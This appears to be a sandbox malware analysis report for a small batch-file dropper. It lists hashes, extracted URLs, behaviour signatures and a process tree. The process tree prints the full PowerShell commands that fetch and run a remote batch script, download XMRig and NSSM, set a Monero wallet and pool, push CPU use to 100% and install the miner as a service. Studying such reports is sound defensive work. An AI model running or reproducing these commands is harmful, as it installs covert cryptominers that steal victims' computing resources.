Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
138s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
30/06/2024, 21:41
Static task
static1
Behavioral task
behavioral1
Sample
11341736529672.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
11341736529672.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
11341736529672.bat
Resource
win11-20240508-en
General
-
Target
11341736529672.bat
-
Size
517B
-
MD5
ac9d73455d58bfa42f81e718b8c8d6b5
-
SHA1
60040fff333b7bc09b22e5c013f11b8a99555ed3
-
SHA256
4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12
-
SHA512
ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2
Malware Config
Extracted
https://rentry.co/regele/raw
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip
Signatures
-
XMRig Miner payload 16 IoCs
resource yara_rule behavioral1/files/0x000700000001ac22-132.dat family_xmrig behavioral1/files/0x000700000001ac22-132.dat xmrig behavioral1/memory/3924-135-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4304-428-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4304-429-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4304-430-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4304-431-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4304-432-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4304-433-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4304-434-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4304-435-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4304-436-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4304-437-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4304-438-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4304-439-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4304-440-0x0000000000400000-0x000000000102B000-memory.dmp xmrig -
Blocklisted process makes network request 3 IoCs
flow pid Process 2 4072 powershell.exe 5 928 powershell.exe 7 2000 powershell.exe -
Executes dropped EXE 9 IoCs
pid Process 3924 xmrig.exe 1788 nssm.exe 3916 nssm.exe 3436 nssm.exe 4932 nssm.exe 1372 nssm.exe 3320 nssm.exe 2256 nssm.exe 4304 xmrig.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 4 raw.githubusercontent.com 5 raw.githubusercontent.com 7 raw.githubusercontent.com -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3296 sc.exe 1344 sc.exe 2592 sc.exe 2972 sc.exe -
pid Process 5104 powershell.exe 4076 powershell.exe 4072 powershell.exe 928 powershell.exe 3048 powershell.exe 3592 powershell.exe 4900 powershell.exe 3780 powershell.exe 5004 powershell.exe 3640 powershell.exe 2000 powershell.exe 4596 powershell.exe 760 powershell.exe -
Delays execution with timeout.exe 64 IoCs
pid Process 4588 timeout.exe 224 timeout.exe 656 timeout.exe 2972 timeout.exe 3552 timeout.exe 2044 timeout.exe 880 timeout.exe 3916 timeout.exe 1128 timeout.exe 4808 timeout.exe 2752 timeout.exe 796 timeout.exe 2152 timeout.exe 3344 timeout.exe 3596 timeout.exe 360 timeout.exe 3320 timeout.exe 1288 timeout.exe 3860 timeout.exe 3224 timeout.exe 3692 timeout.exe 712 timeout.exe 2660 timeout.exe 4664 timeout.exe 1428 timeout.exe 2204 timeout.exe 348 timeout.exe 1644 timeout.exe 3572 timeout.exe 3784 timeout.exe 3020 timeout.exe 3100 timeout.exe 3856 timeout.exe 3584 timeout.exe 4072 timeout.exe 5104 timeout.exe 4844 timeout.exe 4860 timeout.exe 2784 timeout.exe 4204 timeout.exe 824 timeout.exe 1272 timeout.exe 2972 timeout.exe 3092 timeout.exe 3124 timeout.exe 432 timeout.exe 3160 timeout.exe 1796 timeout.exe 2280 timeout.exe 772 timeout.exe 2788 timeout.exe 644 timeout.exe 1488 timeout.exe 3204 timeout.exe 3048 timeout.exe 4208 timeout.exe 3636 timeout.exe 2888 timeout.exe 5004 timeout.exe 1128 timeout.exe 4276 timeout.exe 2504 timeout.exe 2464 timeout.exe 1060 timeout.exe -
Kills process with taskkill 1 IoCs
pid Process 4952 taskkill.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 39 IoCs
pid Process 4072 powershell.exe 4072 powershell.exe 4072 powershell.exe 928 powershell.exe 928 powershell.exe 928 powershell.exe 5104 powershell.exe 5104 powershell.exe 5104 powershell.exe 5004 powershell.exe 5004 powershell.exe 5004 powershell.exe 3048 powershell.exe 3048 powershell.exe 3048 powershell.exe 4596 powershell.exe 4596 powershell.exe 4596 powershell.exe 4076 powershell.exe 4076 powershell.exe 4076 powershell.exe 3592 powershell.exe 3592 powershell.exe 3592 powershell.exe 760 powershell.exe 760 powershell.exe 760 powershell.exe 4900 powershell.exe 4900 powershell.exe 4900 powershell.exe 3640 powershell.exe 3640 powershell.exe 3640 powershell.exe 2000 powershell.exe 2000 powershell.exe 2000 powershell.exe 3780 powershell.exe 3780 powershell.exe 3780 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4072 powershell.exe Token: SeDebugPrivilege 4952 taskkill.exe Token: SeDebugPrivilege 928 powershell.exe Token: SeDebugPrivilege 5104 powershell.exe Token: SeDebugPrivilege 5004 powershell.exe Token: SeDebugPrivilege 3048 powershell.exe Token: SeDebugPrivilege 4596 powershell.exe Token: SeDebugPrivilege 4076 powershell.exe Token: SeDebugPrivilege 3592 powershell.exe Token: SeDebugPrivilege 760 powershell.exe Token: SeDebugPrivilege 4900 powershell.exe Token: SeDebugPrivilege 3640 powershell.exe Token: SeDebugPrivilege 2000 powershell.exe Token: SeDebugPrivilege 3780 powershell.exe Token: SeLockMemoryPrivilege 4304 xmrig.exe Token: SeIncreaseQuotaPrivilege 4128 WMIC.exe Token: SeSecurityPrivilege 4128 WMIC.exe Token: SeTakeOwnershipPrivilege 4128 WMIC.exe Token: SeLoadDriverPrivilege 4128 WMIC.exe Token: SeSystemProfilePrivilege 4128 WMIC.exe Token: SeSystemtimePrivilege 4128 WMIC.exe Token: SeProfSingleProcessPrivilege 4128 WMIC.exe Token: SeIncBasePriorityPrivilege 4128 WMIC.exe Token: SeCreatePagefilePrivilege 4128 WMIC.exe Token: SeBackupPrivilege 4128 WMIC.exe Token: SeRestorePrivilege 4128 WMIC.exe Token: SeShutdownPrivilege 4128 WMIC.exe Token: SeDebugPrivilege 4128 WMIC.exe Token: SeSystemEnvironmentPrivilege 4128 WMIC.exe Token: SeRemoteShutdownPrivilege 4128 WMIC.exe Token: SeUndockPrivilege 4128 WMIC.exe Token: SeManageVolumePrivilege 4128 WMIC.exe Token: 33 4128 WMIC.exe Token: 34 4128 WMIC.exe Token: 35 4128 WMIC.exe Token: 36 4128 WMIC.exe Token: SeIncreaseQuotaPrivilege 4128 WMIC.exe Token: SeSecurityPrivilege 4128 WMIC.exe Token: SeTakeOwnershipPrivilege 4128 WMIC.exe Token: SeLoadDriverPrivilege 4128 WMIC.exe Token: SeSystemProfilePrivilege 4128 WMIC.exe Token: SeSystemtimePrivilege 4128 WMIC.exe Token: SeProfSingleProcessPrivilege 4128 WMIC.exe Token: SeIncBasePriorityPrivilege 4128 WMIC.exe Token: SeCreatePagefilePrivilege 4128 WMIC.exe Token: SeBackupPrivilege 4128 WMIC.exe Token: SeRestorePrivilege 4128 WMIC.exe Token: SeShutdownPrivilege 4128 WMIC.exe Token: SeDebugPrivilege 4128 WMIC.exe Token: SeSystemEnvironmentPrivilege 4128 WMIC.exe Token: SeRemoteShutdownPrivilege 4128 WMIC.exe Token: SeUndockPrivilege 4128 WMIC.exe Token: SeManageVolumePrivilege 4128 WMIC.exe Token: 33 4128 WMIC.exe Token: 34 4128 WMIC.exe Token: 35 4128 WMIC.exe Token: 36 4128 WMIC.exe Token: SeIncreaseQuotaPrivilege 4444 WMIC.exe Token: SeSecurityPrivilege 4444 WMIC.exe Token: SeTakeOwnershipPrivilege 4444 WMIC.exe Token: SeLoadDriverPrivilege 4444 WMIC.exe Token: SeSystemProfilePrivilege 4444 WMIC.exe Token: SeSystemtimePrivilege 4444 WMIC.exe Token: SeProfSingleProcessPrivilege 4444 WMIC.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4304 xmrig.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1844 wrote to memory of 4072 1844 cmd.exe 76 PID 1844 wrote to memory of 4072 1844 cmd.exe 76 PID 4072 wrote to memory of 4688 4072 powershell.exe 77 PID 4072 wrote to memory of 4688 4072 powershell.exe 77 PID 4688 wrote to memory of 1740 4688 cmd.exe 78 PID 4688 wrote to memory of 1740 4688 cmd.exe 78 PID 1740 wrote to memory of 1060 1740 net.exe 79 PID 1740 wrote to memory of 1060 1740 net.exe 79 PID 4688 wrote to memory of 1344 4688 cmd.exe 80 PID 4688 wrote to memory of 1344 4688 cmd.exe 80 PID 4688 wrote to memory of 1036 4688 cmd.exe 81 PID 4688 wrote to memory of 1036 4688 cmd.exe 81 PID 4688 wrote to memory of 4572 4688 cmd.exe 82 PID 4688 wrote to memory of 4572 4688 cmd.exe 82 PID 4688 wrote to memory of 1620 4688 cmd.exe 83 PID 4688 wrote to memory of 1620 4688 cmd.exe 83 PID 4688 wrote to memory of 2592 4688 cmd.exe 84 PID 4688 wrote to memory of 2592 4688 cmd.exe 84 PID 4688 wrote to memory of 3296 4688 cmd.exe 85 PID 4688 wrote to memory of 3296 4688 cmd.exe 85 PID 4688 wrote to memory of 2972 4688 cmd.exe 86 PID 4688 wrote to memory of 2972 4688 cmd.exe 86 PID 4688 wrote to memory of 4952 4688 cmd.exe 87 PID 4688 wrote to memory of 4952 4688 cmd.exe 87 PID 4688 wrote to memory of 928 4688 cmd.exe 89 PID 4688 wrote to memory of 928 4688 cmd.exe 89 PID 4688 wrote to memory of 5104 4688 cmd.exe 90 PID 4688 wrote to memory of 5104 4688 cmd.exe 90 PID 4688 wrote to memory of 5004 4688 cmd.exe 91 PID 4688 wrote to memory of 5004 4688 cmd.exe 91 PID 4688 wrote to memory of 3924 4688 cmd.exe 92 PID 4688 wrote to memory of 3924 4688 cmd.exe 92 PID 4688 wrote to memory of 1516 4688 cmd.exe 93 PID 4688 wrote to memory of 1516 4688 cmd.exe 93 PID 1516 wrote to memory of 3048 1516 cmd.exe 94 PID 1516 wrote to memory of 3048 1516 cmd.exe 94 PID 3048 wrote to memory of 212 3048 powershell.exe 95 PID 3048 wrote to memory of 212 3048 powershell.exe 95 PID 4688 wrote to memory of 4596 4688 cmd.exe 96 PID 4688 wrote to memory of 4596 4688 cmd.exe 96 PID 4688 wrote to memory of 4076 4688 cmd.exe 97 PID 4688 wrote to memory of 4076 4688 cmd.exe 97 PID 4688 wrote to memory of 3592 4688 cmd.exe 98 PID 4688 wrote to memory of 3592 4688 cmd.exe 98 PID 4688 wrote to memory of 760 4688 cmd.exe 99 PID 4688 wrote to memory of 760 4688 cmd.exe 99 PID 4688 wrote to memory of 4900 4688 cmd.exe 100 PID 4688 wrote to memory of 4900 4688 cmd.exe 100 PID 4688 wrote to memory of 3640 4688 cmd.exe 101 PID 4688 wrote to memory of 3640 4688 cmd.exe 101 PID 4688 wrote to memory of 2000 4688 cmd.exe 102 PID 4688 wrote to memory of 2000 4688 cmd.exe 102 PID 4688 wrote to memory of 3780 4688 cmd.exe 103 PID 4688 wrote to memory of 3780 4688 cmd.exe 103 PID 4688 wrote to memory of 1344 4688 cmd.exe 104 PID 4688 wrote to memory of 1344 4688 cmd.exe 104 PID 4688 wrote to memory of 2592 4688 cmd.exe 105 PID 4688 wrote to memory of 2592 4688 cmd.exe 105 PID 4688 wrote to memory of 1788 4688 cmd.exe 106 PID 4688 wrote to memory of 1788 4688 cmd.exe 106 PID 4688 wrote to memory of 3916 4688 cmd.exe 107 PID 4688 wrote to memory of 3916 4688 cmd.exe 107 PID 4688 wrote to memory of 3436 4688 cmd.exe 108 PID 4688 wrote to memory of 3436 4688 cmd.exe 108
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\11341736529672.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1844 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4072 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp6A81.tmp.bat" 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL"3⤵
- Suspicious use of WriteProcessMemory
PID:4688 -
C:\Windows\system32\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
PID:1740 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵PID:1060
-
-
-
C:\Windows\system32\where.exewhere powershell4⤵PID:1344
-
-
C:\Windows\system32\where.exewhere find4⤵PID:1036
-
-
C:\Windows\system32\where.exewhere findstr4⤵PID:4572
-
-
C:\Windows\system32\where.exewhere tasklist4⤵PID:1620
-
-
C:\Windows\system32\where.exewhere sc4⤵PID:2592
-
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
PID:3296
-
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
PID:2972
-
-
C:\Windows\system32\taskkill.exetaskkill /f /t /im xmrig.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4952
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip', 'C:\Users\Admin\xmrig.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:928
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\xmrig.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5104
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"donate-level\": *\d*,', '\"donate-level\": 1,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5004
-
-
C:\Users\Admin\moneroocean\xmrig.exe"C:\Users\Admin\moneroocean\xmrig.exe" --help4⤵
- Executes dropped EXE
PID:3924
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"4⤵
- Suspicious use of WriteProcessMemory
PID:1516 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3048 -
C:\Windows\system32\HOSTNAME.EXE"C:\Windows\system32\HOSTNAME.EXE"6⤵PID:212
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"url\": *\".*\",', '\"url\": \"gulf.moneroocean.stream:10004 \",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4596
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"user\": *\".*\",', '\"user\": \"42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4076
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"pass\": *\".*\",', '\"pass\": \"Ndtnzvhn\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3592
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:760
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"log-file\": *null,', '\"log-file\": \"C:\\Users\\Admin\\moneroocean\\xmrig.log\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4900
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config_background.json' | %{$_ -replace '\"background\": *false,', '\"background\": true,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config_background.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3640
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip', 'C:\Users\Admin\nssm.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2000
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\nssm.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3780
-
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
PID:1344
-
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
PID:2592
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" install moneroocean_miner "C:\Users\Admin\moneroocean\xmrig.exe"4⤵
- Executes dropped EXE
PID:1788
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppDirectory "C:\Users\Admin\moneroocean"4⤵
- Executes dropped EXE
PID:3916
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppPriority BELOW_NORMAL_PRIORITY_CLASS4⤵
- Executes dropped EXE
PID:3436
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStdout "C:\Users\Admin\moneroocean\stdout"4⤵
- Executes dropped EXE
PID:4932
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStderr "C:\Users\Admin\moneroocean\stderr"4⤵
- Executes dropped EXE
PID:1372
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" start moneroocean_miner4⤵
- Executes dropped EXE
PID:3320
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3840
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2280
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2936
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4444
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3692
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2756
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:644
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4328
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1124
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4860
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2536
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1904
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2752
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:212
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2904
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:432
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3564
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4256
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2784
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4156
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:200
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3596
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1392
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4700
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3552
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4492
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2464
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4208
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2044
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4116
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2972
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3152
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4872
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3160
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2564
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2544
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1620
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3412
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2168
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1428
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3916
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1424
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:360
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3860
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3592
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3636
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1960
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4428
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4588
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2504
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:216
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:796
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4920
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3584
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2204
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:412
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:712
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:348
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4068
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3692
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3224
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4180
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4900
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2888
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3108
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4168
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5004
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2752
-
-
-
